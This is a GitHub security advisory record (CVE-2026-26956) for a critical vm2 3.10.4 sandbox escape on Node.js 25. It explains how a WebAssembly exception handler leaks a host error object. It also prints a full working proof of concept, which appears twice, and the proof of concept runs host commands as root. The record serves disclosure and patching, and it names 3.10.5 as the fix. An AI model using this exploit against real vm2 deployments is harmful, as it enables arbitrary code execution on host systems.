GHSA-FFH4-J6H5-PG66
Vulnerability from github – Published: 2026-05-05 16:44 – Updated: 2026-05-05 16:44Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux)
Trigger: Attacker-controlled code passed to VM.run()
Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's try_table instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM try_table catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run(`
const before = typeof process;
const err = new Error("x");
err.name = Symbol();
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
0x02,0x19,0x02,
0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
0x03,0x02,0x01,0x01,
0x07,0x0f,0x01,
0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
0x0a,0x12,0x01,0x10,0x00,
0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);
const instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm),
{ env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
const id = p.mainModule.require("child_process").execSync("id").toString().trim();
const log = p.mainModule.require("console").log;
log("");
log("process before escape:", before);
log("process after escape: ", typeof p);
log("host pid: ", p.pid);
log("host node version: ", p.version);
log("RCE: ", id);
`);
> node poc.js
vm2: 3.10.4 | node: v25.6.1
process before escape: undefined
process after escape: object
host pid: 217
host node version: v25.6.1
RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.4"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.10.4"
]
}
],
"aliases": [
"CVE-2026-26956"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:44:16Z",
"nvd_published_at": "2026-05-04T17:16:22Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2\u0027s sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly\u0027s `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8\u0027s C++ level \u2014 below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 \u2014 the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n const before = typeof process;\n\n const err = new Error(\"x\");\n err.name = Symbol();\n\n const wasm = new Uint8Array([\n 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n 0x02,0x19,0x02,\n 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n 0x03,0x02,0x01,0x01,\n 0x07,0x0f,0x01,\n 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n 0x0a,0x12,0x01,0x10,0x00,\n 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n ]);\n\n const instance = new WebAssembly.Instance(\n new WebAssembly.Module(wasm),\n { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n );\n\n const hostError = instance.exports.catch_error();\n const p = hostError.constructor.constructor(\"return process\")();\n const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n const log = p.mainModule.require(\"console\").log;\n log(\"\");\n log(\"process before escape:\", before);\n log(\"process after escape: \", typeof p);\n log(\"host pid: \", p.pid);\n log(\"host node version: \", p.version);\n log(\"RCE: \", id);\n`);\n```\n\n```\n\u003e node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape: object\nhost pid: 217\nhost node version: v25.6.1\nRCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)",
"id": "GHSA-ffh4-j6h5-pg66",
"modified": "2026-05-05T16:44:16Z",
"published": "2026-05-05T16:44:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26956"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has a WASM Sandbox Escape (Node 25 only)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.